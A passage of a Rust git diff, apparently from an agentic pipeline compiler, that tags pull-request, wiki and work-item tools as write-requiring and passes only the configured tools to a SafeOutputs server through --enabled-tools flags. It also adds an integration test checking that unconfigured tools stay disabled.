+ const REQUIRES_WRITE: bool = false; } /// Trait for validating tool parameters before conversion to results. @@ -203,10 +208,24 @@ pub fn anyhow_to_mcp_error(err: anyhow::Error) -> McpError { /// } /// } /// ``` +/// +/// Write-requiring tool (sets `REQUIRES_WRITE = true`): +/// ```ignore +/// tool_result! { +/// name = "my_tool", +/// write = true, +/// params = MyToolParams, +/// pub struct MyToolResult { +/// field1: String, +/// } +/// } +/// ``` #[macro_export] macro_rules! tool_result { + // write = true, with default_max ( name = $tool_name:literal, + write = true, params = $params:ty, default_max = $default_max:literal, $(#[$meta:meta])* @@ -231,6 +250,7 @@ macro_rules! tool_result { impl $crate::tools::ToolResult for $name { const NAME: &'static str = $tool_name; const DEFAULT_MAX: u32 = $default_max; + const REQUIRES_WRITE: bool = true; } impl TryFrom<$params> for $name { @@ -246,8 +266,10 @@ macro_rules! tool_result { } } }; + // write = true, without default_max ( name = $tool_name:literal, + write = true, params = $params:ty, $(#[$meta:meta])* $vis:vis struct $name:ident { @@ -270,6 +292,7 @@ macro_rules! tool_result { impl $crate::tools::ToolResult for $name { const NAME: &'static str = $tool_name; + const REQUIRES_WRITE: bool = true; } impl TryFrom<$params> for $name { @@ -285,6 +308,126 @@ macro_rules! tool_result { } } }; + // default_max, without write + ( + name = $tool_name:literal, + params = $params:ty, + default_max = $default_max:literal, + $(#[$meta:meta])* + $vis:vis struct $name:ident { + $( + $(#[$field_meta:meta])* + $field_vis:vis $field:ident : $ty:ty + ),* $(,)? + } + ) => { + $(#[$meta])* + #[derive(Debug, serde::Serialize, serde::Deserialize, schemars::JsonSchema)] + $vis struct $name { + /// Tool identifier + pub name: String, + $( + $(#[$field_meta])* + pub $field: $ty, + )* + } + + impl $crate::tools::ToolResult for $name { + const NAME: &'static str = $tool_name; + const DEFAULT_MAX: u32 = $default_max; + } + + impl TryFrom<$params> for $name { + type Error = rmcp::ErrorData; + + fn try_from(params: $params) -> Result { + <$params as $crate::tools::Validate>::validate(¶ms) + .map_err($crate::tools::anyhow_to_mcp_error)?; + Ok(Self { + name: ::NAME.to_string(), + $($field: params.$field,)* + }) + } + } + }; + // basic (no write, no default_max) + ( + name = $tool_name:literal, + params = $params:ty, + $(#[$meta:meta])* + $vis:vis struct $name:ident { + $( + $(#[$field_meta:meta])* + $field_vis:vis $field:ident : $ty:ty + ),* $(,)? + } + ) => { + $(#[$meta])* + #[derive(Debug, serde::Serialize, serde::Deserialize, schemars::JsonSchema)] + $vis struct $name { + /// Tool identifier + pub name: String, + $( + $(#[$field_meta])* + pub $field: $ty, + )* + } + + impl $crate::tools::ToolResult for $name { + const NAME: &'static str = $tool_name; + } + + impl TryFrom<$params> for $name { + type Error = rmcp::ErrorData; + + fn try_from(params: $params) -> Result { + <$params as $crate::tools::Validate>::validate(¶ms) + .map_err($crate::tools::anyhow_to_mcp_error)?; + Ok(Self { + name: ::NAME.to_string(), + $($field: params.$field,)* + }) + } + } + }; +} + +/// Derive a `&[&str]` array of tool names from a list of types implementing `ToolResult`. +/// +/// This macro is the foundation for compile-time safe output tool list generation. +/// Instead of maintaining string arrays by hand, list the concrete types and the +/// macro extracts each type's `NAME` constant automatically. +/// +/// # Usage +/// ```ignore +/// const MY_TOOLS: &[&str] = tool_names![FooResult, BarResult]; +/// // expands to: &[FooResult::NAME, BarResult::NAME] +/// ``` +#[macro_export] +macro_rules! tool_names { + ($($ty:ty),* $(,)?) => { + &[$(<$ty as $crate::tools::ToolResult>::NAME),*] + }; +} + +/// Derive `ALL_KNOWN_SAFE_OUTPUTS` from multiple type lists plus extra string literals. +/// +/// Combines write-requiring tool types, diagnostic tool types, and non-MCP string keys +/// (like `"memory"`) into a single `&[&str]` array. +/// +/// # Usage +/// ```ignore +/// const ALL: &[&str] = all_safe_output_names![ +/// WriteToolA, WriteToolB; // write-requiring types +/// DiagToolA, DiagToolB; // diagnostic types +/// "memory" // non-MCP string keys +/// ]; +/// ``` +#[macro_export] +macro_rules! all_safe_output_names { + ($($ty:ty),* $(,)?; $($extra:expr),* $(,)?) => { + &[$(<$ty as $crate::tools::ToolResult>::NAME),*, $($extra),*] + }; } #[cfg(test)] diff --git a/src/tools/submit_pr_review.rs b/src/tools/submit_pr_review.rs index 5cf1d1c..8aa8682 100644 --- a/src/tools/submit_pr_review.rs +++ b/src/tools/submit_pr_review.rs @@ -83,6 +83,7 @@ impl Validate for SubmitPrReviewParams { tool_result! { name = "submit-pr-review", + write = true, params = SubmitPrReviewParams, /// Result of submitting a pull request review pub struct SubmitPrReviewResult { diff --git a/src/tools/update_pr.rs b/src/tools/update_pr.rs index aa670cb..28de73b 100644 --- a/src/tools/update_pr.rs +++ b/src/tools/update_pr.rs @@ -133,6 +133,7 @@ impl Validate for UpdatePrParams { tool_result! { name = "update-pr", + write = true, params = UpdatePrParams, /// Result of updating a pull request pub struct UpdatePrResult { diff --git a/src/tools/update_wiki_page.rs b/src/tools/update_wiki_page.rs index 42eb5cc..3f41cef 100644 --- a/src/tools/update_wiki_page.rs +++ b/src/tools/update_wiki_page.rs @@ -53,6 +53,7 @@ impl Validate for UpdateWikiPageParams { tool_result! { name = "update-wiki-page", + write = true, params = UpdateWikiPageParams, /// Result of editing a wiki page pub struct UpdateWikiPageResult { diff --git a/src/tools/update_work_item.rs b/src/tools/update_work_item.rs index 94f985d..9b8ba94 100644 --- a/src/tools/update_work_item.rs +++ b/src/tools/update_work_item.rs @@ -72,6 +72,7 @@ impl Validate for UpdateWorkItemParams { tool_result! { name = "update-work-item", + write = true, params = UpdateWorkItemParams, /// Result of updating a work item pub struct UpdateWorkItemResult { diff --git a/src/tools/upload_attachment.rs b/src/tools/upload_attachment.rs index b258dfa..2d635b3 100644 --- a/src/tools/upload_attachment.rs +++ b/src/tools/upload_attachment.rs @@ -63,6 +63,7 @@ impl Validate for UploadAttachmentParams { tool_result! { name = "upload-attachment", + write = true, params = UploadAttachmentParams, /// Result of uploading an attachment to a work item pub struct UploadAttachmentResult { diff --git a/templates/base.yml b/templates/base.yml index cb85e60..e61ba91 100644 --- a/templates/base.yml +++ b/templates/base.yml @@ -213,10 +213,14 @@ jobs: mkdir -p "$(Agent.TempDirectory)/staging/logs" # Start SafeOutputs as HTTP server in the background + # NOTE: {{ enabled_tools_args }} expands to either "" or "--enabled-tools X ... " + # (with trailing space). The value MUST be newline-free; is_safe_tool_name enforces this. + # Positional args (output_directory, bounding_directory) MUST come after all named + # options — clap parses them positionally and reordering would break the command. nohup /tmp/awf-tools/ado-aw mcp-http \ --port "$SAFE_OUTPUTS_PORT" \ --api-key "$SAFE_OUTPUTS_API_KEY" \ - "/tmp/awf-tools/staging" \ + {{ enabled_tools_args }}"/tmp/awf-tools/staging" \ "{{ working_directory }}" \ > "$(Agent.TempDirectory)/staging/logs/safeoutputs.log" 2>&1 & SAFE_OUTPUTS_PID=$! diff --git a/tests/compiler_tests.rs b/tests/compiler_tests.rs index 713e976..34f3626 100644 --- a/tests/compiler_tests.rs +++ b/tests/compiler_tests.rs @@ -2013,3 +2013,82 @@ Vote on pull requests. let _ = fs::remove_dir_all(&temp_dir); } + +/// Integration test: compiling a pipeline with safe-outputs produces --enabled-tools flags +/// in the rendered YAML. This exercises standalone.rs wiring + generate_enabled_tools_args +/// + template substitution end-to-end. +#[test] +fn test_safe_outputs_enabled_tools_in_compiled_output() { + let temp_dir = std::env::temp_dir().join(format!( + "agentic-pipeline-enabled-tools-{}", + std::process::id() + )); + fs::create_dir_all(&temp_dir).expect("Failed to create temp directory"); + + let test_input = temp_dir.join("tools-agent.md"); + let test_content = r#"--- +name: "Enabled Tools Agent" +description: "Agent with specific safe-outputs to verify enabled-tools flags" +permissions: + write: my-write-sc +safe-outputs: + create-pull-request: + target-branch: main + create-work-item: + work-item-type: Task +--- + +## Agent + +Do something. +"#; + fs::write(&test_input, test_content).expect("Failed to write test input"); + + let output_path = temp_dir.join("tools-agent.yml"); + let binary_path = PathBuf::from(env!("CARGO_BIN_EXE_ado-aw")); + let output = std::process::Command::new(&binary_path) + .args([ + "compile", + test_input.to_str().unwrap(), + "-o", + output_path.to_str().unwrap(), + ]) + .output() + .expect("Failed to run compiler"); + + assert!( + output.status.success(), + "Compiler should succeed: {}", + String::from_utf8_lossy(&output.stderr) + ); + + let compiled = fs::read_to_string(&output_path).expect("Should read compiled YAML"); + + // Configured safe-output tools must appear as --enabled-tools flags + assert!( + compiled.contains("--enabled-tools create-pull-request"), + "Compiled output should contain --enabled-tools create-pull-request" + ); + assert!( + compiled.contains("--enabled-tools create-work-item"), + "Compiled output should contain --enabled-tools create-work-item" + ); + + // Always-on diagnostic tools must also appear + assert!( + compiled.contains("--enabled-tools noop"), + "Compiled output should contain --enabled-tools noop" + ); + assert!( + compiled.contains("--enabled-tools missing-data"), + "Compiled output should contain --enabled-tools missing-data" + ); + + // Tools NOT in safe-outputs should NOT appear (verifies filtering is selective) + assert!( + !compiled.contains("--enabled-tools update-wiki-page"), + "Non-configured tools should not appear in --enabled-tools" + ); + + let _ = fs::remove_dir_all(&temp_dir); +}